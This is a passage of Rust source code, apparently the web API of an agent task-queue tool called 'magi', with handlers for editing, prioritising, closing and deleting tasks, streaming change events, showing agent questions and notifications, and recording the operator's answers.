7276    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7277    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7278        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7279    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7280}
7281
7282#[derive(Debug, Deserialize)]
7283#[serde(deny_unknown_fields)]
7284struct ImplementersBody {
7285    implementers: u8,
7286}
7287
7288async fn queue_implementers(
7289    State(ui): State<Arc<Ui>>,
7290    Path(id): Path<String>,
7291    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7292) -> ApiResult<Json<TaskView>> {
7293    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7294    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7295}
7296
7297#[derive(Debug, Deserialize)]
7298#[serde(deny_unknown_fields)]
7299struct UrgentBody {
7300    urgent: bool,
7301}
7302
7303async fn queue_urgent(
7304    State(ui): State<Arc<Ui>>,
7305    Path(id): Path<String>,
7306    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7307) -> ApiResult<Json<TaskView>> {
7308    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7309    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7310}
7311
7312/// The body of `POST /api/queue/{id}/priority`.
7313#[derive(Debug, Deserialize)]
7314#[serde(deny_unknown_fields)]
7315struct PriorityBody {
7316    priority: i32,
7317}
7318
7319/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7320///
7321/// [`Task::set_priority`] is the one place the "not while running" rule is
7322/// stated; this route only carries the body to it and lets its `Err` become
7323/// the 4xx the card shows.
7324async fn queue_priority(
7325    State(ui): State<Arc<Ui>>,
7326    Path(id): Path<String>,
7327    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7328) -> ApiResult<Json<TaskView>> {
7329    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7330    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7331}
7332
7333/// The body of `POST /api/queue/{id}/edit`.
7334#[derive(Debug, Deserialize)]
7335#[serde(deny_unknown_fields)]
7336struct EditBody {
7337    title: String,
7338    instruction: String,
7339    /// Save even though the new text names a branch, commit or pull request
7340    /// that unfinished work already owns.
7341    #[serde(default)]
7342    force: bool,
7343}
7344
7345/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7346/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7347/// that refusal's message is what the sheet shows back.
7348async fn queue_edit(
7349    State(ui): State<Arc<Ui>>,
7350    Path(id): Path<String>,
7351    body: std::result::Result<Json<EditBody>, JsonRejection>,
7352) -> ApiResult<Json<TaskView>> {
7353    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7354    // The judge is an agent call, so it is awaited here, outside the claim
7355    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7356    // remembered, and the save refuses if the task moved underneath it.
7357    let mut judged: Option<(String, PathBuf)> = None;
7358    if !body.force {
7359        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7360        let (id, text) = (id.clone(), body.instruction.clone());
7361        let (seen, hits) = blocking(move || {
7362            let id = resolve_task(&queue, &id)?;
7363            let t = queue.get(&id)?;
7364            if text == t.instruction {
7365                return Ok((None, Vec::new()));
7366            }
7367            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7368            Ok((Some((t.instruction, t.repo)), hits))
7369        })
7370        .await?;
7371        if let Some((_, repo)) = &seen {
7372            let cfg = crate::config::Config::discover(repo, None)
7373                .ok()
7374                .map(|(c, _)| c);
7375            let screened =
7376                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7377                    .await
7378                    .map_err(|dup| {
7379                        ApiError::conflict(dup.render(
7380                            "Nothing was saved. If it is not a duplicate, repeat the request \
7381                             with \"force\": true.",
7382                        ))
7383                    })?;
7384            if let crate::dupes::Screened::Unjudged(why) = screened {
7385                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7386            }
7387        }
7388        judged = seen;
7389    }
7390    let force = body.force;
7391    mutate(ui, id, move |t| {
7392        if !force && body.instruction != t.instruction {
7393            match &judged {
7394                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7395                _ => {
7396                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7397                }
7398            }
7399        }
7400        t.edit(body.title.clone(), body.instruction.clone())
7401    })
7402    .await
7403}
7404
7405/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7406/// it, so the phone's other way to clear a task from the backlog does not
7407/// have to cost the run history, the attribution, and `created_at` the way
7408/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7409/// can be marked done by hand, because this is for the run the loop never
7410/// saw land - a merge done by hand, or a gate that misreported - and that can
7411/// happen from any status the task was left in.
7412async fn queue_done(
7413    State(ui): State<Arc<Ui>>,
7414    Path(id): Path<String>,
7415) -> ApiResult<Json<TaskView>> {
7416    let home = ui.home.clone();
7417    mutate(ui, id, move |t| {
7418        t.succeed();
7419        // Same as the loop's own settle path: closing a task by hand is just
7420        // as much "this task's story is over" as a daemon-driven `Merged`/
7421        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7422        // behind must stop looking like it still needs a human. `ui.home`,
7423        // not the process-global `run::home()`: they agree in a real
7424        // process, but only `ui.home` also agrees with a test fixture's own
7425        // directory.
7426        crate::daemon::supersede_prior_runs(t, &home);
7427        Ok(())
7428    })
7429    .await
7430}
7431
7432/// `DELETE /api/queue/{id}`.
7433///
7434/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7435/// names this task: a `running` status or an orphaned `.lock` left behind by a
7436/// killed daemon is a leftover, and treating either as authority made the
7437/// task undeletable from the phone for good. The associated runs, if any, are
7438/// kept: a run is self-contained history and not an appendage of the task.
7439async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7440    blocking(move || {
7441        let id = resolve_task(&ui.queue, &id)?;
7442        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7443        ui.queue
7444            .remove(&id, in_flight, &ui.questions)
7445            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7446        Ok(StatusCode::NO_CONTENT)
7447    })
7448    .await
7449}
7450
7451/// Read a task, change it, write it back, under the queue's own lock.
7452///
7453/// Taking the same claim a daemon takes is what makes hold, release,
7454/// priority, edit, and done safe to press while magi is running: without it
7455/// the daemon's next save would land on top of the operator's change and
7456/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7457/// both do, for a running task - and that refusal becomes the 4xx the card
7458/// shows, same as any other domain rule.
7459async fn mutate(
7460    ui: Arc<Ui>,
7461    id: String,
7462    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7463) -> ApiResult<Json<TaskView>> {
7464    blocking(move || {
7465        let id = resolve_task(&ui.queue, &id)?;
7466        // `claim` fails when the lock file already exists, which is the
7467        // conflict the UI must report: the daemon owns that task's file for
7468        // as long as it is running it, and our write would be lost under its
7469        // next save. The message names the lock either way.
7470        let _claim = ui.queue.claim(&id).map_err(|e| {
7471            ApiError::conflict(format!(
7472                "{e:#} - a daemon is running this task, so it cannot be \
7473                 changed from here yet; wait until it is released, then retry"
7474            ))
7475        })?;
7476        let mut task = ui.queue.get(&id)?;
7477        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7478            Ok(dup) => ApiError::conflict(dup.render(
7479                "Nothing was saved. If it is not a duplicate, repeat the request with \
7480                 \"force\": true.",
7481            )),
7482            Err(e) => ApiError::bad_request_from(e),
7483        })?;
7484        ui.queue.put(&mut task)?;
7485        Ok(Json(TaskView::from(task)))
7486    })
7487    .await
7488}
7489
7490/// The change stream: one revision number per store, on connect and whenever
7491/// any of them moves.
7492///
7493/// One shared worker scans stores; clients only forward its notifications.
7494async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7495    ui.monitor.ensure_worker(&ui);
7496    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7497    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7498
7499    let state = Arc::clone(&ui);
7500    tokio::spawn(async move {
7501        let initial_revisions = {
7502            let guard = match state.monitor.latest.lock() {
7503                Ok(g) => g,
7504                Err(p) => p.into_inner(),
7505            };
7506            guard.as_ref().map(|(r, _)| *r)
7507        };
7508        if let Some(revisions) = initial_revisions {
7509            let initial_payload = serde_json::json!({
7510                "queue_rev": revisions.0,
7511                "runs_rev": revisions.1,
7512                "questions_rev": revisions.2,
7513                "talks_rev": revisions.3,
7514                "notifications_rev": revisions.4,
7515                "loop_rev": revisions.5,
7516            });
7517
7518            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7519                if tx.send(event).await.is_err() {
7520                    return;
7521                }
7522            }
7523        }
7524
7525        loop {
7526            match tokio::select! {
7527                _ = tx.closed() => return,
7528                value = broadcast_rx.recv() => value,
7529            } {
7530                Ok(notif) => {
7531                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7532                    else {
7533                        break;
7534                    };
7535                    if tx.send(event).await.is_err() {
7536                        break;
7537                    }
7538                }
7539                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7540                    let revs = {
7541                        let guard = match state.monitor.latest.lock() {
7542                            Ok(g) => g,
7543                            Err(p) => p.into_inner(),
7544                        };
7545                        guard.as_ref().map(|(r, _)| *r)
7546                    };
7547                    if let Some(revs) = revs {
7548                        let payload = serde_json::json!({
7549                            "queue_rev": revs.0,
7550                            "runs_rev": revs.1,
7551                            "questions_rev": revs.2,
7552                            "talks_rev": revs.3,
7553                            "notifications_rev": revs.4,
7554                            "loop_rev": revs.5,
7555                        });
7556                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7557                            if tx.send(event).await.is_err() {
7558                                break;
7559                            }
7560                        }
7561                    }
7562                }
7563                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7564                    break;
7565                }
7566            }
7567        }
7568    });
7569
7570    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7571        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7572}
7573
7574/// Run ids under `runs`, newest first.
7575///
7576/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7577/// which reads the process-global home: the server has to be drivable against
7578/// a temp directory for any of this to be testable.
7579fn run_ids(runs: &FsPath) -> Vec<String> {
7580    let mut ids: Vec<String> = std::fs::read_dir(runs)
7581        .into_iter()
7582        .flatten()
7583        .flatten()
7584        .filter(|e| e.path().join("run.json").is_file())
7585        .map(|e| e.file_name().to_string_lossy().into_owned())
7586        .collect();
7587    // Ids start with a sortable timestamp.
7588    ids.sort_unstable_by(|a, b| b.cmp(a));
7589    ids
7590}
7591
7592/// Read one run's state from an explicit runs root.
7593fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7594    let path = runs.join(id).join("run.json");
7595    let body =
7596        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7597    let state: RunState =
7598        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7599    // The same migration `RunState::load` applies, so a record from the
7600    // previous schema reads here as it does everywhere else (an origin-less
7601    // run shows as "origin unknown") instead of vanishing from the phone the
7602    // moment the schema is bumped.
7603    run::migrate_schema(state)
7604}
7605
7606/// Runs on disk under `runs` whose state this build cannot parse - almost
7607/// always a schema bump, occasionally a run killed mid-write.
7608///
7609/// Exposed so every surface that reports on runs shares one count instead of
7610/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7611/// `magi doctor` calls this directly rather than guessing at the same number
7612/// a second way.
7613#[must_use]
7614pub fn runs_unreadable(runs: &FsPath) -> usize {
7615    run_ids(runs)
7616        .into_iter()
7617        .filter(|id| read_run(runs, id).is_err())
7618        .count()
7619}
7620
7621fn plain_record_id(id: &str) -> bool {
7622    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7623}
7624
7625/// Expand an id or short id to exactly one run id.
7626fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7627    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7628        return Ok(id.to_owned());
7629    }
7630    pick(run_ids(runs), id, "run")
7631}
7632
7633/// Expand an id or short id to exactly one task id.
7634fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7635    if plain_record_id(id) && queue.path_of(id).is_file() {
7636        return Ok(id.to_owned());
7637    }
7638    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7639    pick(ids, id, "task")
7640}
7641
7642/// A question as the phone reads it.
7643///
7644/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7645/// text already parsed into a node tree so the client never runs its own
7646/// markdown reader over agent-authored prose. A relative image path in it
7647/// resolves against this question's own panel asset route, which is the one
7648/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7649/// separate, sandboxed document, but `detail` is rendered inline in the
7650/// operator's own page, so an image reference in it may only ever point at
7651/// files magi itself already serves for this question.
7652#[derive(Debug, Serialize)]
7653struct QuestionView {
7654    choice_effects: std::collections::BTreeMap<String, String>,
7655    record_revision: String,
7656    #[serde(flatten)]
7657    question: Question,
7658    detail_md: Vec<md::Node>,
7659    posting_view: Option<PostingView>,
7660    /// Each thread turn's body, parsed; same order as `question.thread`.
7661    thread_bodies_md: Vec<Vec<md::Node>>,
7662    /// Each thread turn's deputy note, parsed (`None` for a turn without
7663    /// one); same order as `question.thread`.
7664    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7665    /// Is the ball in the agent's court right now?
7666    ///
7667    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7668    /// [`Question::say`] - so this is the one field that tells the phone to
7669    /// disable the answer controls and show "waiting for the agent" instead of
7670    /// a card the owner can act on. Computed rather than stored on
7671    /// [`Question`] itself, on the same reasoning as `waiting` on
7672    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7673    /// it here means the client never has to re-derive that rule.
7674    waiting_on_agent: bool,
7675    /// Who is waiting on this open question - see [`holder_of`]. Separate
7676    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7677    /// anyone is there to take it.
7678    holder: Option<&'static str>,
7679    /// Whether `magi serve` can start a follow-up agent for a conductor
7680    /// question at all: false when `daemon.max_deputies = 0` or the config is
7681    /// unreadable. Separate from `holder`, which says who is listening now.
7682    deputies_enabled: bool,
7683    /// All starts were spent and no live holder remains. Display-only: the
7684    /// final attempt increments `starts` before running under its lease.
7685    deputy_exhausted: bool,
7686    text_delivery: crate::question_delivery::Availability,
7687    /// `question.run` is a task id (conductor / triage questions), not a run
7688    /// id, so the UI links it to the task page.
7689    run_is_task: bool,
7690    /// The existing chat this question's task came from, including settled
7691    /// questions - see [`crate::consult::associated_talk`].
7692    origin_chat: Option<String>,
7693    /// `origin_chat` is closed; consulting reopens it first.
7694    origin_chat_closed: bool,
7695    /// Consultation eligibility is separate from navigation to the chat.
7696    can_consult_chat: bool,
7697}
7698
7699#[derive(Debug, Serialize)]
7700struct PostingView {
7701    before_md: Vec<md::Node>,
7702    after_md: Vec<md::Node>,
7703    fields: Vec<crate::github_text::ComparisonView>,
7704}
7705
7706fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7707    let comparison = question.posting_comparison.as_ref()?;
7708    if !comparison.matches_detail(&question.detail) {
7709        return None;
7710    }
7711    let mut ids = std::collections::BTreeSet::new();
7712    if comparison.fields.is_empty()
7713        || comparison
7714            .fields
7715            .iter()
7716            .flat_map(|f| &f.pairs)
7717            .any(|p| !ids.insert(p.id))
7718        || comparison
7719            .fields
7720            .iter()
7721            .flat_map(|f| &f.original_triggers)
7722            .any(|t| !ids.insert(t.id))
7723    {
7724        return None;
7725    }
7726    let fields = comparison
7727        .fields
7728        .iter()
7729        .map(|f| f.view(comparison.excerpt))
7730        .collect::<Option<Vec<_>>>()?;
7731    Some(PostingView {
7732        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7733        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7734        fields,
7735    })
7736}
7737
7738impl QuestionView {
7739    /// The view of `question`, reading who is waiting on it from `store`.
7740    ///
7741    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7742    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7743        let base = md::ImageBase::QuestionPanel {
7744            id: question.id.clone(),
7745        };
7746        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7747        Self {
7748            choice_effects: question
7749                .choices
7750                .iter()
7751                .filter_map(|c| {
7752                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7753                })
7754                .collect(),
7755            record_revision: question_record_revision(&question),
7756            detail_md: md::to_nodes(&question.detail, &base),
7757            posting_view: posting_view(&question, &base),
7758            thread_bodies_md: question
7759                .thread
7760                .iter()
7761                .map(|t| md::to_nodes(&t.body, &base))
7762                .collect(),
7763            thread_notes_md: question
7764                .thread
7765                .iter()
7766                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7767                .collect(),
7768            deputy_exhausted: store.deputy_exhausted(&question),
7769            waiting_on_agent: question.waiting_on_agent(),
7770            holder,
7771            deputies_enabled: deputies_enabled(cfg, &question),
7772            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7773            run_is_task: question.run_names_task(),
7774            origin_chat: None,
7775            origin_chat_closed: false,
7776            can_consult_chat: false,
7777            question,
7778        }
7779    }
7780
7781    /// Fill `origin_chat` from the queue and the talks.
7782    fn with_origin(
7783        mut self,
7784        tasks: &[crate::queue::Task],
7785        talks: &[Talk],
7786        watches: &[crate::release_watch::WatchState],
7787    ) -> Self {
7788        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7789        self.can_consult_chat = consult.is_some();
7790        let talk =
7791            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7792        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7793        self.origin_chat = talk.map(|t| t.id);
7794        self
7795    }
7796}
7797
7798/// The config this repository resolves, or `None` when it cannot be read.
7799/// Discovering is git processes plus a config render, so a request that needs
7800/// it for many items takes it once and passes it down.
7801fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7802    Config::discover(repo, None).ok().map(|(c, _)| c)
7803}
7804
7805/// Can `magi serve` start a deputy for this question under `cfg`?
7806fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7807    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7808}
7809
7810/// The views `GET /api/questions` answers. `load` runs at most once, however
7811/// many questions there are, and not at all when there are none.
7812fn question_views(
7813    qs: Vec<Question>,
7814    store: &ask::Questions,
7815    load: impl FnOnce() -> Option<Config>,
7816) -> Vec<QuestionView> {
7817    if qs.is_empty() {
7818        return Vec::new();
7819    }
7820    let cfg = load();
7821    qs.into_iter()
7822        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7823        .collect()
7824}
7825
7826/// Who is honestly waiting on an open question right now: `"asker"` (the
7827/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7828/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7829/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7830/// up, or the question never had anyone listening (a conductor question or a
7831/// merge approval from before deputies, or not yet given one).
7832///
7833/// `None` for a question that is settled, and for one that is not an agent's
7834/// to wait on at all (a release notice).
7835fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7836    if !q.status.open() {
7837        return None;
7838    }
7839    if q.cwd.is_none()
7840        && q.deputy.is_none()
7841        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7842    {
7843        return crate::deputy::kind_of(q).map(|_| "nobody");
7844    }
7845    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7846        Some(_) if q.deputy.is_some() => "deputy",
7847        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7848        Some(_) => "asker",
7849        None => "nobody",
7850    })
7851}
7852
7853/// `GET /api/questions`.
7854///
7855/// Everything, not just the open ones: an answered question is the record of a
7856/// decision, and the phone is where the operator goes back to check what they
7857/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7858async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7859    blocking(move || {
7860        let questions = ui.questions.list();
7861        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7862        Ok(Json(
7863            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7864                .into_iter()
7865                .map(|view| view.with_origin(&tasks, &talks, &watches))
7866                .collect(),
7867        ))
7868    })
7869    .await
7870}
7871
7872/// Question content and answer controls never wait for task/chat provenance.
7873async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7874    blocking(move || {
7875        Ok(Json(question_views(
7876            ui.questions.list(),
7877            &ui.questions,
7878            || deputy_config(&ui.repo),
7879        )))
7880    })
7881    .await
7882}
7883
7884fn question_record_revision(question: &Question) -> String {
7885    use std::hash::{Hash as _, Hasher as _};
7886    let mut hash = std::hash::DefaultHasher::new();
7887    serde_json::to_vec(question)
7888        .expect("serializable question")
7889        .hash(&mut hash);
7890    format!("{:016x}", hash.finish())
7891}
7892
7893#[derive(Serialize)]
7894struct QuestionOriginView {
7895    id: String,
7896    record_revision: String,
7897    origin_chat: Option<String>,
7898    origin_chat_closed: bool,
7899    can_consult_chat: bool,
7900}
7901
7902async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7903    blocking(move || {
7904        let questions = ui.questions.list();
7905        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7906        Ok(Json(
7907            questions
7908                .into_iter()
7909                .map(|question| {
7910                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7911                    let can_consult_chat = consult.is_some();
7912                    let talk = crate::consult::associated_talk_with_watches(
7913                        &tasks, &talks, &question, &watches,
7914                    );
7915                    QuestionOriginView {
7916                        record_revision: question_record_revision(&question),
7917                        id: question.id,
7918                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7919                        origin_chat: talk.map(|talk| talk.id),
7920                        can_consult_chat,
7921                    }
7922                })
7923                .collect(),
7924        ))
7925    })
7926    .await
7927}
7928
7929type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7930
7931/// Only the task ancestry and chats these questions actually reference. Run
7932/// mappings share the reconciled queue index; exact task references bypass it.
7933/// No question means no task/chat I/O, including no index reconciliation.
7934fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7935    fn task_for_run(
7936        ui: &Ui,
7937        index: &mut Option<Vec<Arc<TaskRelation>>>,
7938        run: &str,
7939        loaded: &HashMap<String, Task>,
7940    ) -> ApiResult<Option<Task>> {
7941        if !plain_record_id(run) {
7942            return Ok(None);
7943        }
7944        if index.is_none() {
7945            *index = Some(ui.indexed_tasks()?);
7946        }
7947        Ok(index
7948            .as_ref()
7949            .expect("loaded index")
7950            .iter()
7951            .find(|task| task.runs.iter().any(|id| id == run))
7952            .and_then(|task| {
7953                loaded
7954                    .get(&task.id)
7955                    .cloned()
7956                    .or_else(|| ui.queue.get(&task.id).ok())
7957            })
7958            .filter(|task| task.runs.iter().any(|id| id == run)))
7959    }
7960    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7961        plain_record_id(id)
7962            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7963            .flatten()
7964            .filter(|task| task.id == id)
7965    };
7966    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7967    let mut index = None;
7968    let mut tasks = HashMap::new();
7969    let mut talks = HashMap::new();
7970    for question in questions {
7971        for reference in crate::consult::question_task_refs(question, &watches) {
7972            let mut current = match reference {
7973                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7974                crate::consult::QuestionTaskRef::Run(id) => {
7975                    task_for_run(ui, &mut index, id, &tasks)?
7976                }
7977            };
7978            let mut seen = HashSet::new();
7979            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7980                let Some(task) = current.take() else {
7981                    break;
7982                };
7983                if !seen.insert(task.id.clone()) {
7984                    break;
7985                }
7986                let chat = task.chat_talk().map(str::to_owned);
7987                let followup = task.followup.clone();
7988                tasks.insert(task.id.clone(), task);
7989                if let Some(chat) = chat {
7990                    if plain_record_id(&chat)
7991                        && !talks.contains_key(&chat)
7992                        && let Ok(talk) = ui.talks.get(&chat)
7993                    {
7994                        talks.insert(chat, talk);
7995                    }
7996                    break;
7997                }
7998                let Some(followup) = followup else {
7999                    break;
8000                };
8001                current = match followup.origin_task {
8002                    Some(id) => direct_task(&id, &tasks),
8003                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8004                };
8005            }
8006        }
8007    }
8008    let mut tasks: Vec<Task> = tasks.into_values().collect();
8009    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8010    Ok((tasks, talks.into_values().collect(), watches))
8011}
8012
8013/// `GET /api/notifications`: not dismissed, newest first, with the unread
8014/// count so the badge and the list cannot disagree.
8015async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8016    blocking(move || {
8017        let items = ui.notices.list();
8018        let unread = items.iter().filter(|n| n.unread()).count();
8019        let items: Vec<_> = items
8020            .into_iter()
8021            .map(|n| {
8022                let question = crate::notices::answerable_question(&n, &ui.questions);
8023                let mut item = serde_json::to_value(n)?;
8024                item["answerable_question"] = serde_json::json!(question);
8025                Ok(item)
8026            })
8027            .collect::<anyhow::Result<_>>()?;
8028        Ok(Json(
8029            serde_json::json!({ "unread": unread, "items": items }),
8030        ))
8031    })
8032    .await
8033}
8034
8035fn notice_error(e: anyhow::Error) -> ApiError {
8036    // An unknown or malformed id and a vanished file are the same answer to
8037    // the phone: that notification is gone.
8038    ApiError::not_found(format!("{e:#}"))
8039}
8040
8041/// `POST /api/notifications/{id}/read`.
8042async fn notification_read(
8043    State(ui): State<Arc<Ui>>,
8044    Path(id): Path<String>,
8045) -> ApiResult<Json<Notice>> {
8046    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8047}
8048
8049/// `POST /api/notifications/{id}/dismiss`.
8050async fn notification_dismiss(
8051    State(ui): State<Arc<Ui>>,
8052    Path(id): Path<String>,
8053) -> ApiResult<Json<Notice>> {
8054    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8055}
8056
8057/// `POST /api/notifications/read-all`.
8058async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8059    blocking(move || {
8060        let changed = ui.notices.mark_all_read()?;
8061        Ok(Json(serde_json::json!({ "marked": changed })))
8062    })
8063    .await
8064}
8065
8066/// The body of `POST /api/questions/{id}/answer`.
8067///
8068/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8069/// a bad request rather than a guess: an answer magi invented is worse than a
8070/// question left open.
8071#[derive(Debug, Default, Deserialize)]
8072#[serde(default, deny_unknown_fields)]
8073struct NewAnswer {
8074    choice: Option<String>,
8075    text: Option<String>,
8076    talk: Option<String>,
8077    head: Option<String>,
8078}
8079
8080async fn question_answer(
8081    State(ui): State<Arc<Ui>>,
8082    Path(id): Path<String>,
8083    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8084) -> ApiResult<Json<QuestionView>> {
8085    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8086    let answer = match (body.choice, body.text) {
8087        (Some(c), None) => Answer::Choice(c),
8088        (None, Some(t)) => Answer::Text(t),
8089        (Some(_), Some(_)) => {
8090            return Err(ApiError::bad_request(
8091                "send either `choice` or `text`, not both",
8092            ));
8093        }
8094        (None, None) => {
8095            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8096        }
8097    };
8098
8099    blocking(move || {
8100        let id = resolve_question(&ui.questions, &id)?;
8101        let q = ui
8102            .questions
8103            .get(&id)
8104            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8105        if !q.status.open() {
8106            // Answered from the terminal, or by another phone, in between the
8107            // list and the tap. The UI shows the recorded answer rather than an
8108            // error, so it needs the record, not just the status.
8109            return Err(ApiError::conflict(format!(
8110                "question {} is already {}",
8111                q.short(),
8112                q.status.as_str()
8113            )));
8114        }
8115        // `Question::answer` owns the rules - an unoffered choice, free text on
8116        // a multiple-choice question, an empty reply - so the route does not
8117        // restate them and cannot drift from the CLI's behaviour.
8118        let cfg = deputy_config(&ui.repo);
8119        let (q, ()) = ui
8120            .questions
8121            .update(&q.id, |r| {
8122                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8123                // Buttons retain their displayed chat/head binding. A direct
8124                // decision does not require a button or a prior persona offer.
8125                if r.routed_task.is_some()
8126                    && r.merge_target.is_some()
8127                    && merge
8128                    && (body.talk.is_some() || body.head.is_some())
8129                {
8130                    let talk_id = body
8131                        .talk
8132                        .as_deref()
8133                        .context("approval button requires its chat")?;
8134                    let head = body
8135                        .head
8136                        .as_deref()
8137                        .context("approval button requires the displayed head")?;
8138                    let talk = ui.talks.get(talk_id)?;
8139                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8140                    r.answer_chat_button(answer, talk_id, head)
8141                } else {
8142                    r.answer(answer)
8143                }
8144            })
8145            .map_err(ApiError::bad_request_from)?;
